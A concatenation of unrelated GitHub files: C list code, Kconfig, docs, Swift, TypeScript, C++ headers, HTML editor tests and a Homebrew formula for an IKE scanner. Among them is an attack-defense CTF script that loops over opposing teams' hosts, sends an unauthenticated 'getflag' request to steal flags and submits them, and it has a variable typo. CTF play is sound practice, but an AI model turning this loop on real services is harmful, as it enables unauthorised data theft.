( ( SFG_Node * )node->Prev )->Next = node->Next;
if( ( ( SFG_Node * )list->First ) == node )
list->First = node->Next;
if( ( ( SFG_Node * )list->Last ) == node )
list->Last = node->Prev;
}
int fgListLength(SFG_List *list)
{
SFG_Node *node;
int length = 0;
for( node =( SFG_Node * )list->First;
node;
node = ( SFG_Node * )node->Next )
++length;
return length;
}
void fgListInsert(SFG_List *list, SFG_Node *next, SFG_Node *node)
{
SFG_Node *prev;
if( (node->Next = next) )
{
prev = next->Prev;
next->Prev = node;
}
else
{
prev = list->Last;
list->Last = node;
}
if( (node->Prev = prev) )
prev->Next = node;
else
list->First = node;
}
/*** END OF FILE ***/
| {
"pile_set_name": "Github"
} |
config BTRFS_FS
tristate "Btrfs filesystem (EXPERIMENTAL) Unstable disk format"
depends on EXPERIMENTAL
select LIBCRC32C
select ZLIB_INFLATE
select ZLIB_DEFLATE
help
Btrfs is a new filesystem with extents, writable snapshotting,
support for multiple devices and many more features.
Btrfs is highly experimental, and THE DISK FORMAT IS NOT YET
FINALIZED. You should say N here unless you are interested in
testing Btrfs with non-critical data.
To compile this file system support as a module, choose M here. The
module will be called btrfs.
If unsure, say N.
config BTRFS_FS_POSIX_ACL
bool "Btrfs POSIX Access Control Lists"
depends on BTRFS_FS
select FS_POSIX_ACL
help
POSIX Access Control Lists (ACLs) support permissions for users and
groups beyond the owner/group/world scheme.
To learn more about Access Control Lists, visit the POSIX ACLs for
Linux website <http://acl.bestbits.at/>.
If you don't know what Access Control Lists are, say N
| {
"pile_set_name": "Github"
} |
// Module included in the following assemblies:
//
// * virt/virt-using-the-cli-tools.adoc
[id="virt-openshift-client-commands_{context}"]
= {product-title} client commands
The {product-title} `oc` client is a command-line utility for managing
{product-title} resources, including the virtual machine (`vm`) and virtual
machine instance (`vmi`) object types. +
[NOTE]
====
You can use the `-n <namespace>` flag to specify a different project.
====
.`oc` commands
[width="100%",cols="42%,58%",options="header",]
|===
|Command |Description
|`oc login -u <user_name>`
|Log in to the {product-title} cluster as `<user_name>`.
|`oc get <object_type>`
|Display a list of objects for the specified object type in the current project.
|`oc describe <object_type> <resource_name>`
|Display details of the specific resource in the current project.
|`oc create -f <object_config>`
|Create a resource in the current project from a filename or from stdin.
|`oc edit <object_type> <resource_name>`
|Edit a resource in the current project.
|`oc delete <object_type> <resource_name>`
|Delete a resource in the current project.
|===
| {
"pile_set_name": "Github"
} |
//
// LMJCircleLayout.h
// 自定义流水布局-22
//
// Created by apple on 16/7/30.
// Copyright © 2016年 NJHu. All rights reserved.
//
#import <UIKit/UIKit.h>
@class LMJCircleLayout;
@protocol LMJCircleLayoutDelegate <NSObject>
@optional
/**
返回 item 的大小, 默认 64
*/
- (CGSize)circleLayout:(LMJCircleLayout *)circleLayout collectionView:(UICollectionView *)collectionView sizeForItemAtIndexPath:(NSIndexPath *)indexPath;
/**
返回 item 对应的半径 , 默认120
*/
- (CGFloat)circleLayout:(LMJCircleLayout *)circleLayout collectionView:(UICollectionView *)collectionView radiusForItemAtIndexPath:(NSIndexPath *)indexPath;
@end
@interface LMJCircleLayout : UICollectionViewLayout
- (instancetype)initWithDelegate:(id<LMJCircleLayoutDelegate>)delegate;
+ (instancetype)circleLayoutWithDelegate:(id<LMJCircleLayoutDelegate>)delegate;
@end
| {
"pile_set_name": "Github"
} |
<!doctype html>
<html>
<head>
<script type="text/javascript" src="../../js/case.js"></script>
<?php include __DIR__ . '/../../include.php'; ?>
</head>
<body class="simple">
<script type="text/javascript">
rangy.init();
function clickCancelDialogButton() {
$('.raptor-ui-cancel-dialog .ui-dialog-buttonpane .ui-button:eq(0)').trigger('click');
}
</script>
<div class="test-1">
<h1>Cancel Formatting Button 1: Basic</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id <strong class="cms-bold">erat pellentesque</strong> et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique. Aliquam gravida mauris at
ligula {venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis}, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id <strong class="cms-bold">erat pellentesque</strong> et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique. Aliquam gravida mauris at
ligula {venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis}, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-1', function(input) {
clickButton(input, '.raptor-ui-text-italic');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-2">
<h1>Cancel Formatting Button 2: Complex</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique. Aliquam gravida mauris at
ligula {venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis}, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique. Aliquam gravida mauris at
ligula {venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis}, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-2', function(input) {
clickButton(input, '.raptor-ui-text-italic');
clickButton(input, '.raptor-ui-align-center');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-3">
<h1>Cancel Formatting Button 3: Multi Paragraph Basic</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui {<strong class="cms-bold">id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.</strong>
</p>
<p>
<strong class="cms-bold">Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse</strong>} interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui {<strong class="cms-bold">id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.</strong>
</p>
<p>
<strong class="cms-bold">Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse</strong>} interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-3', function(input) {
clickButton(input, '.raptor-ui-text-strike');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-4">
<h1>Cancel Formatting Button 4: Multi Paragraph Complex</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum {dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p>
<p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse <u class="underline">interdum, nisi</u>} nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum {dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p>
<p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse <u class="underline">interdum, nisi</u>} nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-4', function(input) {
clickButton(input, '.raptor-ui-align-right');
clickButton(input, '.raptor-ui-list-unordered');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-5">
<h1>Cancel Formatting Button 5: Empty Selection in Word</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p><p>
Aliquam gravida mauris at
ligula <del class="cms-strike">venenatis rhoncus. Suspen{}disse interdum,</del> nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p><p>
Aliquam gravida mauris at
ligula <del class="cms-strike">venenatis rhoncus. Suspen{}disse interdum,</del> nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-5', function(input) {
clickButton(input, '.raptor-ui-text-strike');
clickButton(input, '.raptor-ui-align-right');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-6">
<h1>Cancel Formatting Button 6: Empty Selection at the Beginning of a Word</h1>
<div class="test-input">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat <u class="cms-underline">pellentesque et rhoncus nunc semper. Suspendisse
malesuada {}hendrerit velit nec tristique.</u>
</p><p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat <u class="cms-underline">pellentesque et rhoncus nunc semper. Suspendisse
malesuada {}hendrerit velit nec tristique.</u>
</p><p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-6', function(input) {
clickButton(input, '.raptor-ui-text-bold');
clickButton(input, '.raptor-ui-text-underline');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-7">
<h1>Cancel Formatting Button 7: Alignment</h1>
<div class="test-input">
<div class="editable">
<p class="cms-center">
{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id eratpellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit} nec tristique.
</p><p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p class="cms-center">
{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id eratpellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit} nec tristique.
</p><p>
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-7', function(input) {
clickButton(input, '.raptor-ui-text-strike');
clickButton(input, '.raptor-ui-align-left');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-8">
<h1>Cancel Formatting Button 8: Two Different Alignments</h1>
<div class="test-input">
<div class="editable">
<p class="cms-center">
{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p><p class="cms-center">
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.}
</p>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p class="cms-center">
{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas
convallis dui id erat pellentesque et rhoncus nunc semper. Suspendisse
malesuada hendrerit velit nec tristique.
</p><p class="cms-center">
Aliquam gravida mauris at
ligula venenatis rhoncus. Suspendisse interdum, nisi nec consectetur
pulvinar, lorem augue ornare felis, vel lacinia erat nibh in velit.}
</p>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-8', function(input) {
clickButton(input, '.raptor-ui-align-right');
clickButton(input, '.raptor-ui-align-left');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-9">
<h1>Cancel Formatting Button 9: Image Float</h1>
<div class="test-input">
<div class="editable">
{<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
<div class="test-expected">
<div class="editable">
{<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-9', function(input) {
clickButton(input, '.raptor-ui-float-right');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-10">
<h1>Cancel Formatting Button 10: Image Float and text and alignment</h1>
<div class="test-input">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-10', function(input) {
clickButton(input, '.raptor-ui-float-right');
clickButton(input, '.raptor-ui-align-right');
clickButton(input, '.raptor-ui-text-bold');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<div class="test-11">
<h1>Cancel Formatting Button 11: Guides Disappear</h1>
<div class="test-input">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-11', function(input) {
clickButton(input, '.raptor-ui-guides');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
});
</script>
<?php return; ?>
<div class="test-12">
<h1>Cancel Formatting Button 12: Spacer Div Disappears</h1>
<div class="test-input">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
<div class="test-expected">
<div class="editable">
<p>
{Some text here.
</p>
<img src="../../images/raptor.png" alt="raptor logo" height="50" width="40" />}
<div style="clear: both">
</div>
</div>
</div>
</div>
<script type="text/javascript">
testEditor('.test-12', function(input) {
clickButton(input, '.raptor-ui-dock-to-screen');
clickButton(input, '.raptor-ui-cancel');
clickCancelDialogButton();
if (input.find('.spacer')) {
throw new Error('Spacer still displayed');
}
});
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
import { getStoreStateMessage, Messages } from '../../common/messages';
import { StoreNames } from '../../common/stores/store-names';
import { ScopingActions, ScopingPayload } from '../actions/scoping-actions';
import { Interpreter } from '../interpreter';
export class ScopingActionCreator {
constructor(
private readonly interpreter: Interpreter,
private readonly scopingActions: ScopingActions,
) {}
public registerCallback(): void {
this.interpreter.registerTypeToPayloadCallback(
getStoreStateMessage(StoreNames.ScopingPanelStateStore),
this.onGetScopingState,
);
this.interpreter.registerTypeToPayloadCallback(
Messages.Scoping.AddSelector,
this.onAddSelector,
);
this.interpreter.registerTypeToPayloadCallback(
Messages.Scoping.DeleteSelector,
this.onDeleteSelector,
);
}
private onGetScopingState = (): void => {
this.scopingActions.getCurrentState.invoke(null);
};
private onAddSelector = (payload: ScopingPayload): void => {
this.scopingActions.addSelector.invoke(payload);
};
private onDeleteSelector = (payload: ScopingPayload): void => {
this.scopingActions.deleteSelector.invoke(payload);
};
}
| {
"pile_set_name": "Github"
} |
import UIKit
import Photos
public protocol CartDelegate: class {
func cart(_ cart: Cart, didAdd image: Image, newlyTaken: Bool)
func cart(_ cart: Cart, didRemove image: Image)
func cartDidReload(_ cart: Cart)
}
/// Cart holds selected images and videos information
public class Cart {
public var images: [Image] = []
public var video: Video?
var delegates: NSHashTable<AnyObject> = NSHashTable.weakObjects()
// MARK: - Initialization
init() {
}
// MARK: - Delegate
public func add(delegate: CartDelegate) {
delegates.add(delegate)
}
// MARK: - Logic
public func add(_ image: Image, newlyTaken: Bool = false) {
guard !images.contains(image) else { return }
images.append(image)
for case let delegate as CartDelegate in delegates.allObjects {
delegate.cart(self, didAdd: image, newlyTaken: newlyTaken)
}
}
public func remove(_ image: Image) {
guard let index = images.firstIndex(of: image) else { return }
images.remove(at: index)
for case let delegate as CartDelegate in delegates.allObjects {
delegate.cart(self, didRemove: image)
}
}
public func reload(_ images: [Image]) {
self.images = images
for case let delegate as CartDelegate in delegates.allObjects {
delegate.cartDidReload(self)
}
}
// MARK: - Reset
public func reset() {
video = nil
images.removeAll()
delegates.removeAllObjects()
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2002, 2019, Oracle and/or its affiliates. All rights reserved.
* Copyright 2014 Google Inc. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#ifndef OS_CPU_LINUX_PPC_BYTES_LINUX_PPC_INLINE_HPP
#define OS_CPU_LINUX_PPC_BYTES_LINUX_PPC_INLINE_HPP
#if defined(VM_LITTLE_ENDIAN)
#include <byteswap.h>
// Efficient swapping of data bytes from Java byte
// ordering to native byte ordering and vice versa.
inline u2 Bytes::swap_u2(u2 x) { return bswap_16(x); }
inline u4 Bytes::swap_u4(u4 x) { return bswap_32(x); }
inline u8 Bytes::swap_u8(u8 x) { return bswap_64(x); }
#endif // VM_LITTLE_ENDIAN
#endif // OS_CPU_LINUX_PPC_BYTES_LINUX_PPC_INLINE_HPP
| {
"pile_set_name": "Github"
} |
require "formula"
class Iker < Formula
homepage "https://labs.portcullis.co.uk/tools/iker/"
url "https://labs.portcullis.co.uk/download/iker_v1.1.tar"
sha256 "8780805a0743f60e42ec75dd56dcdb8beb1fdafc75aab6dcdac7ba13e126e7b6"
version "1.1"
revision 2
depends_on "ike-scan"
def install
libexec.install "iker.py"
(bin/"iker.py").write <<~EOS
#!/bin/sh
/usr/bin/env python #{libexec}/iker.py "$@"
EOS
end
end
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python2
# This code was written 10 hours before the competition, yikes
# Any bugs are your problem
import socks # pip install PySocks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444)
socket.socket = socks.socksocket
from pwn import * # pip install pwntools
from swpag_client import Team # pip install swpag_client
import time
import traceback
import json
import sys
team = Team(None, "xxxxxxxxxxxxxxxxxxx")
def team_ip(team_host):
# 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ...
team_number = int(team_host[4:])
minor = ((team_number - 1) % 254) + 1
major = (team_number / 255) + 129
return '172.31.{major}.{minor}'.format(major=major, minor=minor)
services = team.get_service_list()
service_flag_ids = dict()
while True:
for service in services:
if service['service_name'] != 'fantasticiot':
continue
print("Going to attack", service['service_name'])
if service['service_name'] not in service_flag_ids:
service_flag_ids[service['service_name']] = set()
targets = team.get_targets(service['service_id'])
flag_list = []
for target in targets:
flag_id = target['flag_id']
ip = team_ip(target['hostname'])
port = target['port']
if flag_id not in service_flag_ids[service['service_name']]:
try:
coinn = remote(ip, port, timeout=1)
# exploitation happens here
conn.sendline('{"service": "flag", "op": "getflag", "id": "%s", "token": ""}' % flag_id)
flag = json.loads(conn.recv().strip())['flag']
conn.close()
flag_list.append(flag)
print("HACKED")
except Exception as e:
print("Error connecting to", target['team_name'], target['hostname'], ip, port)
print(e)
service_flag_ids[service['service_name']].add(flag_id)
result = team.submit_flag(flag_list)
print result
time.sleep(10) # DOS is against the rules
| {
"pile_set_name": "Github"
} |
// Copyright 2019 The MediaPipe Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_
#define MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_
#include <map>
#include <memory>
#include <set>
#include <string>
#include <typeinfo>
#include <vector>
#include "absl/base/macros.h"
#include "absl/strings/str_split.h"
#include "mediapipe/framework/collection.h"
#include "mediapipe/framework/packet.h"
#include "mediapipe/framework/packet_set.h"
#include "mediapipe/framework/port/status.h"
#include "mediapipe/framework/tool/validate_name.h"
#include "mediapipe/framework/type_map.h"
namespace mediapipe {
// Encapsulates the type and description of an input stream, output
// stream, or input side packet. The type to expect is set with Set<type>()
// and a packet is validated with Validate(). The PacketType can be
// set to indicate the same type as some other PacketType.
class PacketType {
public:
// Creates an uninitialized PacketType.
PacketType();
PacketType(const PacketType&) = delete;
PacketType& operator=(const PacketType&) = delete;
// False for a PacketType that has not had any Set*() function called.
bool IsInitialized() const;
// The following "Set*" functions initialize the PacketType. They can
// be called any number of times; the PacketType is initialized to
// whatever the last call is.
// Sets the packet type to accept the provided type.
template <typename T>
PacketType& Set();
// Sets the packet type to accept packets of any type. If an input or
// output stream is set to this type then the framework tries to infer
// the stream type based on the packet types of other Calculators.
// Specifically, using SetAny() still means that the stream has a type
// but this particular calculator just doesn't care what it is.
PacketType& SetAny();
// Sets the packet type to not accept any packets.
PacketType& SetNone();
// Sets the PacketType to be the same as type. This actually stores
// the pointer to the other PacketType but does not acquire ownership.
// "type" must outlive this object.
PacketType& SetSameAs(const PacketType* type);
// Marks this port as optional.
PacketType& Optional();
// Returns a pointer to the root PacketType of the "same as" equivalence
// class.
const PacketType* GetSameAs() const;
PacketType* GetSameAs();
// Returns true if this PacketType allows anything.
bool IsAny() const;
// Returns true if this PacketType allows nothing.
bool IsNone() const;
bool IsOptional() const { return optional_; }
// Returns true iff this and other are consistent, meaning they do
// not expect different types. IsAny() is consistent with anything.
// IsNone() is only consistent with IsNone() and IsAny().
bool IsConsistentWith(const PacketType& other) const;
// Returns OK if the packet contains an object of the appropriate type.
::mediapipe::Status Validate(const Packet& packet) const;
// Returns a pointer to the Registered type name, or nullptr if the type
// is not registered. Do not use this for validation, use Validate()
// instead.
const std::string* RegisteredTypeName() const;
// Returns the type name. Do not use this for validation, use
// Validate() instead.
const std::string DebugTypeName() const;
private:
// Typedef for the ValidateAsType() method in Packet that is used for
// type validation and identification.
typedef ::mediapipe::Status (Packet::*ValidateMethodType)() const;
// Records whether the packet type was set in any way.
bool initialized_;
// Don't allow any packets through.
bool no_packets_allowed_;
// Pointer to Packet::ValidateAsType<T>.
ValidateMethodType validate_method_;
// Type name as std::string.
std::string type_name_;
// The Registered type name or nullptr if the type isn't registered.
const std::string* registered_type_name_ptr_ = nullptr;
// If this is non-null then this PacketType is the same as same_as_.
// We don't do union-find optimizations in order to avoid a mutex.
const PacketType* same_as_;
// Whether the corresponding port is optional.
bool optional_ = false;
};
// An error handler class which allows a PacketTypeSet to return valid
// results while deferring errors.
//
// This class is thread compatible.
class PacketTypeSetErrorHandler {
public:
// Returns a usable PacketType. A different PacketType object is
// returned for each different invalid location and the same object
// is returned for multiple accesses to the same invalid location.
PacketType& GetFallback(const std::string& tag, int index) {
if (!missing_) {
missing_ = absl::make_unique<Missing>();
}
CHECK(!missing_->initialized_errors);
std::string key = absl::StrCat(tag, ":", index);
return missing_->entries[key];
}
// In the const setting produce a FATAL error.
const PacketType& GetFallback(const std::string& tag, int index) const {
LOG(FATAL) << "Failed to get tag \"" << tag << "\" index " << index
<< ". Unable to defer error due to const specifier.";
std::abort();
}
// Returns true if a (deferred) error has been recorded by the
// PacketTypeSet.
bool HasError() const { return missing_ != nullptr; }
// Get the error messages that have been deferred.
// This function can only be called if HasError() is true.
const std::vector<std::string>& ErrorMessages() const {
CHECK(missing_) << "ErrorMessages() can only be called if errors have "
"occurred. Call HasError() before calling this "
"function.";
if (!missing_->initialized_errors) {
for (const auto& entry : missing_->entries) {
// Optional entries that were missing are not considered errors.
if (!entry.second.IsOptional()) {
// Split them to keep the error std::string unchanged.
std::pair<std::string, std::string> tag_idx =
absl::StrSplit(entry.first, ':');
missing_->errors.push_back(absl::StrCat("Failed to get tag \"",
tag_idx.first, "\" index ",
tag_idx.second));
}
}
missing_->initialized_errors = true;
}
return missing_->errors;
}
private:
struct Missing {
// Mapping from TAG:index to PacketType objects, one for each invalid
// location that has been accessed.
std::map<std::string, PacketType> entries;
// The list of errors is only computed at the end.
std::vector<std::string> errors;
bool initialized_errors = false;
};
// Initialize lazily to save space in the common no-error case.
std::unique_ptr<Missing> missing_;
};
// A collection of PacketTypes. The types are either retrieved by index
// or by tag. The calculator must set a type for every input stream and
// input side packet that it accepts and every output stream it produces.
// Every (non-const) function in this class always returns valid values
// that can be used directly without error checking. If the types don't
// match what the user provided then an error will be triggered later
// (but the program will not crash).
//
// For example, a calculator can just call
// inputs->Tag("VIDEO").Set<ImageFrame>("Annotated Video Frames.");
// Without checking that "VIDEO" is a valid tag.
//
// Similarly if the following is specified:
// inputs->Index(0).Set<int>("Some Integer.");
// inputs->Index(1).Set<std::string>("Some String.");
// inputs->Index(2).Set<float>("Some Float.");
// then it is not necessary to check that NumEntries() == 3. An error
// is triggered if there aren't exactly 3 inputs or they don't have the
// proper types.
//
// For a const PacketTypeSet, invalid access is a fatal error.
//
// This class is thread compatible.
using PacketTypeSet =
internal::Collection<PacketType, internal::CollectionStorage::kStoreValue,
PacketTypeSetErrorHandler>;
// Returns OK if the packets in the PacketSet are of the appropriate type.
// packet_type_set must be valid before this is called (but packet_set
// may be in any state).
::mediapipe::Status ValidatePacketSet(const PacketTypeSet& packet_type_set,
const PacketSet& packet_set);
// Validates that the PacketTypeSet was initialized properly.
// An error is returned if
// 1) Tag() or Index() is called with an invalid argument (however,
// a valid PacketType is still returned by the function).
// 2) Any PacketType is not initialized.
::mediapipe::Status ValidatePacketTypeSet(const PacketTypeSet& packet_type_set);
// Templated function definitions.
template <typename T>
PacketType& PacketType::Set() {
initialized_ = true;
no_packets_allowed_ = false;
validate_method_ = &Packet::ValidateAsType<T>;
type_name_ = MediaPipeTypeStringOrDemangled<T>();
registered_type_name_ptr_ = MediaPipeTypeString<T>();
same_as_ = nullptr;
return *this;
}
} // namespace mediapipe
#endif // MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_
| {
"pile_set_name": "Github"
} |
Thumper References
==================
This folder contains local copies of certain important references. It is not necessary to
populate this folder but you may find it convenient to do so. These references are not included
in the repository because they are not artifacts of this project.
There are several RFCs of interest.
+ [RFC-3161](http://www.rfc-editor.org/rfc/rfc3161.txt) Internet X.509 Public Key Infrastructure
Time-Stamp Protocol (TSP). This is the primary RFC that describes the protocol implemented by
Thumper.
+ [RFC-3370](http://www.rfc-editor.org/rfc/rfc3370.txt) Cryptographic Message Syntax (CMS)
Algorithms. Information about specific algorithms has been split off from the description of
CMS itself. This allows the IETF to update to the two documents independently. This RFC is the
latest CMS algorithms document (but see the update in RFC-5754).
+ [RFC-5652](http://www.rfc-editor.org/rfc/rfc5652.txt) Cryptographic Message Syntax (CMS). CMS
describes the specific way in which encrypted and digitally signed data is represented in
various IETF standards (including TSP).
+ [RFC-5754](http://www.rfc-editor.org/rfc/rfc5754.txt) Using SHA2 Algorithms with Cryptographic
Message Syntax. This RFC updates RFC-3370 by providing details on using the SHA2 algorithm
with CMS.
+ [RFC-5816](http://www.rfc-editor.org/rfc/rfc5816.txt) ESSCertIDv2 Update for RFC 3161.
Here are some papers related to this project.
+ [Design and Implementation of a RFC3161-Enhanced Time-Stamping Service](http://crypto.nknu.edu.tw/publications/2004IWAP.pdf)
by Chung-Huang Yang, Chih-Ching Yeh, and Fang-Dar Chu.
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
